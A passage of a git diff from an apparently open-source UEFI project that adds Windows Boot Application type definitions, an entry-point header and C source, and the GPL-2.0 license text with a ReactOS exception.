Green, + Cyan, + Red, + Magenta, + Brown, + LtGray, + Gray, + LtBlue, + LtGreen, + LtCyan, + LtRed, + LtMagenta, + Yellow, + White +} BL_COLOR, + *PBL_COLOR; + +typedef enum _BL_MENU_POLICY { + MenuPolicyLegacy = 0, + MenuPolicyStandard = 1 +} BL_MENU_POLICY; + +typedef enum _BL_MEMORY_DESCRIPTOR_TYPE { + BlMdPhysical, + BlMdVirtual, + BlMdTracker +} BL_MEMORY_DESCRIPTOR_TYPE; + +typedef enum _BL_TRANSLATION_TYPE { + BlNone, + BlVirtual, + BlPae, + BlMax +} BL_TRANSLATION_TYPE; + +typedef enum _BL_ARCH_MODE { BlProtectedMode, BlRealMode } BL_ARCH_MODE; + +// +// Boot Device Types +// +typedef enum _BL_DEVICE_TYPE { + DiskDevice = 0, + LegacyPartitionDevice = 2, + SerialDevice = 3, + UdpDevice = 4, + BootDevice = 5, + PartitionDevice = 6, + LocateDevice = 8, +} BL_DEVICE_TYPE; + +// +// Local Device Types +// +typedef enum _BL_LOCAL_DEVICE_TYPE { + LocalDevice = 0, + FloppyDevice = 1, + CdRomDevice = 2, + RamDiskDevice = 3, + FileDevice = 5, + VirtualDiskDevice = 6 +} BL_LOCAL_DEVICE_TYPE; + +// +// Partition types +// +typedef enum _BL_PARTITION_TYPE { + GptPartition, + MbrPartition, + RawPartition, +} BL_PARTITION_TYPE; + +// +// File Path Types +// +typedef enum _BL_PATH_TYPE { InternalPath = 3, EfiPath = 4 } BL_PATH_TYPE; + +// +// Classes of Memory +// +typedef enum _BL_MEMORY_CLASS { + BlLoaderClass = 0xD, + BlApplicationClass, + BlSystemClass +} BL_MEMORY_CLASS; + +// +// Types of Memory +// +typedef enum _BL_MEMORY_TYPE { + // + // Loader Memory + // + BlLoaderMemory = 0xD0000002, + BlLoaderDeviceMemory = 0xD0000004, + BlLoaderHeap = 0xD0000005, + BlLoaderPageDirectory = 0xD0000006, + BlLoaderReferencePage = 0xD0000007, + BlLoaderRamDisk = 0xD0000008, + BlLoaderArchData = 0xD0000009, + BlLoaderData = 0xD000000A, + BlLoaderRegistry = 0xD000000B, + BlLoaderBlockMemory = 0xD000000C, + BlLoaderSelfMap = 0xD000000F, + + // + // Application Memory + // + BlApplicationReserved = 0xE0000001, + BlApplicationData = 0xE0000004, + + // + // System Memory + // + BlConventionalMemory = 0xF0000001, + BlUnusableMemory = 0xF0000002, + BlReservedMemory = 0xF0000003, + BlEfiBootMemory = 0xF0000004, + BlConventionalZeroedMemory = 0xF000005, + BlEfiRuntimeCodeMemory = 0xF0000006, + BlAcpiReclaimMemory = 0xF0000008, + BlAcpiNvsMemory = 0xF0000009, + BlDeviceIoMemory = 0xF000000A, + BlDevicePortMemory = 0xF000000B, + BlPalMemory = 0xF000000C, + BlEfiRuntimeDataMemory = 0xF000000E, +} BL_MEMORY_TYPE; + +typedef enum _BL_MEMORY_ATTR { + // + // Memory Caching Attributes + // + BlMemoryUncached = 0x00000001, + BlMemoryWriteCombined = 0x00000002, + BlMemoryWriteThrough = 0x00000004, + BlMemoryWriteBack = 0x00000008, + BlMemoryUncachedExported = 0x00000010, + BlMemoryValidCacheAttributes = BlMemoryUncached | BlMemoryWriteCombined | + BlMemoryWriteThrough | BlMemoryWriteBack | + BlMemoryUncachedExported, + BlMemoryValidCacheAttributeMask = 0x000000FF, + + // + // Memory Protection Attributes + // + BlMemoryWriteProtected = 0x00000100, + BlMemoryReadProtected = 0x00000200, + BlMemoryExecuteProtected = 0x00000400, + BlMemoryValidProtectionAttributes = + BlMemoryWriteProtected | BlMemoryReadProtected | BlMemoryExecuteProtected, + BlMemoryValidProtectionAttributeMask = 0x0000FF00, + + // + // Memory Allocation Attributes + // + BlMemoryLargePages = 0x00010000, + BlMemoryKernelRange = 0x00020000, + BlMemoryFixed = 0x00040000, + BlMemoryBelow1MB = 0x00080000, + BlMemoryValidAllocationAttributes = BlMemoryKernelRange | BlMemoryFixed | + BlMemoryBelow1MB | BlMemoryLargePages, + BlMemoryValidAllocationAttributeMask = 0x00FF0000, + + // + // Memory Type Attributes + // + BlMemoryRuntime = 0x01000000, + BlMemoryCoalesced = 0x02000000, + BlMemoryUpdate = 0x04000000, + BlMemoryNonFirmware = 0x08000000, + BlMemoryPersistent = 0x10000000, + BlMemorySpecial = 0x20000000, + BlMemoryFirmware = 0x80000000, + BlMemoryValidTypeAttributes = BlMemoryRuntime | BlMemoryCoalesced | + BlMemoryUpdate | BlMemoryNonFirmware | + BlMemoryPersistent | BlMemorySpecial | + BlMemoryFirmware, + BlMemoryValidTypeAttributeMask = 0xFF000000, +} BL_MEMORY_ATTR; + +typedef struct _BL_LIBRARY_PARAMETERS { + unsigned long LibraryFlags; + unsigned long TranslationType; + unsigned long MinimumAllocationCount; + unsigned long MinimumHeapSize; + unsigned long HeapAllocationAttributes; + wchar_t * ApplicationBaseDirectory; + unsigned long DescriptorCount; + wchar_t * FontBaseDirectory; +} BL_LIBRARY_PARAMETERS, *PBL_LIBRARY_PARAMETERS; + +/* This should eventually go into a more public header */ +typedef struct _BOOT_APPLICATION_PARAMETER_BLOCK { + /* This header tells the library what image we're dealing with */ + unsigned long Signature[2]; + unsigned long Version; + unsigned long Size; + unsigned long ImageType; + unsigned long MemoryTranslationType; + + /* Where is the image located */ + unsigned long long ImageBase; + unsigned long ImageSize; + + /* Offset to BL_MEMORY_DATA */ + unsigned long MemoryDataOffset; + + /* Offset to BL_APPLICATION_ENTRY */ + unsigned long AppEntryOffset; + + /* Offset to BL_DEVICE_DESCRPIPTOR */ + unsigned long BootDeviceOffset; + + /* Offset to BL_FIRMWARE_PARAMETERS */ + unsigned long FirmwareParametersOffset; + + /* Offset to BL_RETURN_ARGUMENTS */ + unsigned long ReturnArgumentsOffset; +} BOOT_APPLICATION_PARAMETER_BLOCK, *PBOOT_APPLICATION_PARAMETER_BLOCK; + +typedef struct _BL_MEMORY_DATA { + unsigned long Version; + unsigned long MdListOffset; + unsigned long DescriptorCount; + unsigned long DescriptorSize; + unsigned long DescriptorOffset; +} BL_MEMORY_DATA, *PBL_MEMORY_DATA; + +typedef struct _ARM_EXCEPTION_STATE { + unsigned int Control; + unsigned int Vbar; + unsigned int Reserved; + unsigned int Reserved2; + unsigned int IdSvcRW; +} ARM_EXCEPTION_STATE, *PARM_EXCEPTION_STATE; + +typedef struct _ARM_MM_STATE { + char MpExtensions; + unsigned int HardwarePageDirectory; + unsigned int TTB_Config; + unsigned int SoftwarePageDirectory; + unsigned int *MappedHardwarePageDirectory; +} ARM_MM_STATE, *PARM_MM_STATE; + +typedef struct _BL_FIRMWARE_DESCRIPTOR { + unsigned long Version; + unsigned long Unknown; + EFI_HANDLE ImageHandle; + EFI_SYSTEM_TABLE * SystemTable; + ARM_EXCEPTION_STATE ExceptionState; + ARM_MM_STATE MmState; + unsigned int InterruptState; +} BL_FIRMWARE_DESCRIPTOR, *PBL_FIRMWARE_DESCRIPTOR; + +typedef struct _BL_MEMORY_DESCRIPTOR { + LIST_ENTRY ListEntry; + union { + struct { + unsigned long long BasePage; + unsigned long long VirtualPage; + }; + struct { + unsigned long long BaseAddress; + unsigned long long VirtualAddress; + }; + }; + unsigned long long PageCount; + unsigned long Flags; + BL_MEMORY_TYPE Type; +} BL_MEMORY_DESCRIPTOR, *PBL_MEMORY_DESCRIPTOR; + +typedef struct _BL_BCD_OPTION { + unsigned long Type; + unsigned long DataOffset; + unsigned long DataSize; + unsigned long ListOffset; + unsigned long NextEntryOffset; + unsigned long Empty; +} BL_BCD_OPTION, *PBL_BCD_OPTION; + +typedef struct _BL_APPLICATION_ENTRY { + char Signature[8]; + unsigned long Flags; + EFI_GUID EFI_GUID; + unsigned long Unknown[4]; + BL_BCD_OPTION BcdData; +} BL_APPLICATION_ENTRY, *PBL_APPLICATION_ENTRY; + +typedef struct _BL_LOADED_APPLICATION_ENTRY { + unsigned long Flags; + EFI_GUID EFI_GUID; + PBL_BCD_OPTION BcdData; +} BL_LOADED_APPLICATION_ENTRY, *PBL_LOADED_APPLICATION_ENTRY; + +typedef struct _BL_MENU_STATUS { + union { + struct { + unsigned long AnyKey : 1; + unsigned long AdvancedOptions : 1; + unsigned long BootOptions : 1; + unsigned long OemKey : 1; + unsigned long Exit : 1; + unsigned long Reserved : 27; + }; + unsigned long AsULong; + }; + unsigned long BootIndex; + WCHAR KeyValue; +} BL_MENU_STATUS, *PL_MENU_STATUS; + +typedef enum _BL_BOOT_ERROR_STATUS { + Reboot = 1, + Recover = 2, + RecoverOem = 3, + OsSelection = 4, + NextOs = 5, + TryAgain = 6, + AdvancedOptions = 7, + BootOptions = 8 +} BL_BOOT_ERROR_STATUS; + +typedef struct _BL_HARDDISK_DEVICE { + unsigned long PartitionType; + union { + struct { + unsigned long PartitionSignature; + } Mbr; + + struct { + EFI_GUID PartitionSignature; + } Gpt; + + struct { + unsigned long DiskNumber; + } Raw; + }; +} BL_HARDDISK_DEVICE; + +typedef struct _BL_ARCH_CONTEXT { + BL_ARCH_MODE Mode; + BL_TRANSLATION_TYPE TranslationType; + unsigned long ContextFlags; +} BL_ARCH_CONTEXT, *PBL_ARCH_CONTEXT; + +typedef struct _BL_MEMORY_DESCRIPTOR_LIST { + LIST_ENTRY ListHead; + LIST_ENTRY * First; + LIST_ENTRY * This; + unsigned long Type; +} BL_MEMORY_DESCRIPTOR_LIST, *PBL_MEMORY_DESCRIPTOR_LIST; + +typedef struct _BL_ADDRESS_RANGE { + unsigned long long Minimum; + unsigned long long Maximum; +} BL_ADDRESS_RANGE, *PBL_ADDRESS_RANGE; + +typedef struct _BL_FILE_INFORMATION { + unsigned long long Size; + unsigned long long Offset; + wchar_t * FsName; + unsigned long Flags; +} BL_FILE_INFORMATION, *PBL_FILE_INFORMATION; + +typedef struct _BL_BLOCK_DEVICE_INFORMATION { + BL_LOCAL_DEVICE_TYPE Type; + unsigned long DeviceFlags; + unsigned long Unknown; + BL_PARTITION_TYPE PartitionType; + unsigned long BlockSize; + unsigned long Alignment; + unsigned long long LastBlock; + unsigned long long Offset; + unsigned long Block; + struct { + union { + struct { + unsigned long Signature; + } Mbr; + struct { + EFI_GUID Signature; + } Gpt; + }; + } Disk; +} BL_BLOCK_DEVICE_INFORMATION, *PBL_BLOCK_DEVICE_INFORMATION; + +typedef struct _BL_DEVICE_INFORMATION { + BL_DEVICE_TYPE DeviceType; + union { + BL_BLOCK_DEVICE_INFORMATION BlockDeviceInfo; + }; +} BL_DEVICE_INFORMATION, *PBL_DEVICE_INFORMATION; + +typedef struct _BL_BLOCK_DEVICE { + BL_BLOCK_DEVICE_INFORMATION Device; + unsigned long long StartOffset; + EFI_BLOCK_IO_PROTOCOL * Protocol; + EFI_HANDLE Handle; +} BL_BLOCK_DEVICE, *PBL_BLOCK_DEVICE; + +typedef struct _BL_PROTOCOL_HANDLE { + EFI_HANDLE Handle; + void * Interface; +} BL_PROTOCOL_HANDLE, *PBL_PROTOCOL_HANDLE; + +typedef struct _BL_IMAGE_APPLICATION_ENTRY { + PBL_APPLICATION_ENTRY AppEntry; + void * ImageBase; + unsigned long ImageSize; +} BL_IMAGE_APPLICATION_ENTRY, *PBL_IMAGE_APPLICATION_ENTRY; + +typedef struct _BL_IMAGE_PARAMETERS { + void * Buffer; + unsigned long ActualSize; + unsigned long BufferSize; +} BL_IMAGE_PARAMETERS, *PBL_IMAGE_PARAMETERS; diff --git a/Include/Library/WindowsBootApplicationEntryPoint.h b/Include/Library/WindowsBootApplicationEntryPoint.h new file mode 100644 index 0000000..22f32a5 --- /dev/null +++ b/Include/Library/WindowsBootApplicationEntryPoint.h @@ -0,0 +1,159 @@ +/** @file + Module entry point library for Windows Boot Applications. + +Copyright (c) 2007 - 2018, Intel Corporation. All rights reserved.
+Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.
+Copyright (c) 2019 - 2020, Bingxing Wang. All rights reserved.
+SPDX-License-Identifier: GPL-2.0-only + +**/ + +#ifndef __WINDOWS_BOOT_APPLICATION_ENTRY_POINT_H__ +#define __WINDOWS_BOOT_APPLICATION_ENTRY_POINT_H__ + +#include + +/// +/// Declare the EFI/UEFI Specification Revision to which this driver is +/// implemented +/// +extern CONST UINT32 _gUefiDriverRevision; + +/** + Entry point to UEFI Application. + + This function is the entry point for a UEFI Application. This function must +call ProcessLibraryConstructorList(), ProcessModuleEntryPointList(), and +ProcessLibraryDestructorList(). The return value from +ProcessModuleEntryPointList() is returned. If _gUefiDriverRevision is not zero +and SystemTable->Hdr.Revision is less than _gUefiDriverRevison, then return +EFI_INCOMPATIBLE_VERSION. + + @param ImageHandle The image handle of the UEFI Application. + @param SystemTable A pointer to the EFI System Table. + + @retval EFI_SUCCESS The UEFI Application exited normally. + @retval EFI_INCOMPATIBLE_VERSION _gUefiDriverRevision is greater than +SystemTable->Hdr.Revision. + @retval Other Return value from +ProcessModuleEntryPointList(). + +**/ +EFI_STATUS +EFIAPI +_EfiModuleEntryPoint( + IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable); + +/** + Required by the EBC compiler and identical in functionality to +_ModuleEntryPoint(). + + @param ImageHandle The image handle of the UEFI Application. + @param SystemTable A pointer to the EFI System Table. + + @retval EFI_SUCCESS The UEFI Application exited normally. + @retval EFI_INCOMPATIBLE_VERSION _gUefiDriverRevision is greater than +SystemTable->Hdr.Revision. + @retval Other Return value from +ProcessModuleEntryPointList(). + +**/ +EFI_STATUS +EFIAPI +EfiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable); + +/** + Invokes the library destructors for all dependent libraries and terminates + the UEFI Application. + + This function calls ProcessLibraryDestructorList() and the EFI Boot Service +Exit() with a status specified by Status. + + @param Status Status returned by the application that is exiting. + +**/ +VOID EFIAPI Exit(IN EFI_STATUS Status); + +/** + Autogenerated function that calls the library constructors for all of the +module's dependent libraries. + + This function must be called by _ModuleEntryPoint(). + This function calls the set of library constructors for the set of library +instances that a module depends on. This includes library instances that a +module depends on directly and library instances that a module depends on +indirectly through other libraries. This function is autogenerated by build +tools and those build tools are responsible for collecting the set of library +instances, determine which ones have constructors, and calling the library +constructors in the proper order based upon each of the library instances own +dependencies. + + @param ImageHandle The image handle of the UEFI Application. + @param SystemTable A pointer to the EFI System Table. + +**/ +VOID EFIAPI ProcessLibraryConstructorList( + IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable); + +/** + Autogenerated function that calls the library descructors for all of the +module's dependent libraries. + + This function may be called by _ModuleEntryPoint()or Exit(). + This function calls the set of library destructors for the set of library +instances that a module depends on. This includes library instances that a +module depends on directly and library instances that a module depends on +indirectly through other libraries. This function is autogenerated by build +tools and those build tools are responsible for collecting the set of library +instances, determine which ones have destructors, and calling the library +destructors in the proper order based upon each of the library instances own +dependencies. + + @param ImageHandle The image handle of the UEFI Application. + @param SystemTable A pointer to the EFI System Table. + +**/ +VOID EFIAPI ProcessLibraryDestructorList( + IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable); + +/** + This function calls the set of module entry points. It must be called by +_ModuleEntryPoint(). + + This function is autogenerated by build tools and those build tools are + responsible for collecting the module entry points and calling them in a +specified order. + + @param ImageHandle The image handle of the UEFI Application. + @param SystemTable A pointer to the EFI System Table. + + @retval EFI_SUCCESS The UEFI Application executed normally. + @retval !EFI_SUCCESS The UEFI Application failed to execute normally. + +**/ +EFI_STATUS +EFIAPI +ProcessModuleEntryPointList( + IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable); + +/** + Windows Boot Application's version of _ModuleEntryPoint. + + This function is the entry point for a Windows Boot Application. This function + performs required processor state switch, then hands over control to + EFI's entry point, see BlpEfiMain for details. + + @param BootAppParameters Boot Application Params + @param LibraryParameters Library Params, remains unused. + + @retval STATUS_SUCCESS The boot application exited normally. + @retval STATUS_INVALID_PARAMETER The boot application entry doesn't contain +valid app params. + +**/ +NTSTATUS +_ModuleEntryPoint( + IN PBOOT_APPLICATION_PARAMETER_BLOCK BootAppParameters, + IN PBL_LIBRARY_PARAMETERS LibraryParameters); + +#endif diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..bcb4e2d --- /dev/null +++ b/LICENSE @@ -0,0 +1,348 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. + + +ReactOS may be used, runtime linked, and distributed with non-free software +(meaning that such software has no obligations to open-source, or render +free, their non-free code) such as commercial device drivers and commercial +applications. This exception does not alter any other responsibilities of +the licensee under the GPL (meaning that such software must still obey +the GPL for the free ("open-sourced") code that has been integrated into +the said software). diff --git a/Library/WindowsBootApplicationEntryPoint/ApplicationEntryPoint.c b/Library/WindowsBootApplicationEntryPoint/ApplicationEntryPoint.c new file mode 100644 index 0000000..dad445c --- /dev/null +++ b/Library/WindowsBootApplicationEntryPoint/ApplicationEntryPoint.c @@ -0,0 +1,247 @@ +/** @file + Entry point library instance to a Windows Boot Manager application. + +Copyright (c) 2007 - 2018, Intel Corporation. All rights reserved.
+Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.
+Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights +reserved.
SPDX-License-Identifier: GPL-2.0-only + +**/ + +#include + +#include +#include +#include +#include + +#include +#include + +#include "Arm/ArmV7Lib.h" + +/** + Entry point to UEFI Application. + + This function is the entry point for a UEFI Application. This function must +call ProcessLibraryConstructorList(), ProcessModuleEntryPointList(), and +ProcessLibraryDestructorList(). The return value from +ProcessModuleEntryPointList() is returned. If _gUefiDriverRevision is not zero +and SystemTable->Hdr.Revision is less than _gUefiDriverRevison, then return +EFI_INCOMPATIBLE_VERSION. + + @param ImageHandle The image handle of the UEFI Application. + @param SystemTable A pointer to the EFI System Table. + + @retval EFI_SUCCESS The UEFI Application exited normally. + @retval EFI_INCOMPATIBLE_VERSION _gUefiDriverRevision is greater than +SystemTable->Hdr.Revision. + @retval Other Return value from +ProcessModuleEntryPointList(). + +**/ +EFI_STATUS +EFIAPI +_EfiModuleEntryPoint( + IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) +{ + EFI_STATUS Status; + + if (_gUefiDriverRevision != 0) { + // + // Make sure that the EFI/UEFI spec revision of the platform is >= EFI/UEFI + // spec revision of the application. + // + if (SystemTable->Hdr.Revision < _gUefiDriverRevision) { + return EFI_INCOMPATIBLE_VERSION; + } + } + + // + // 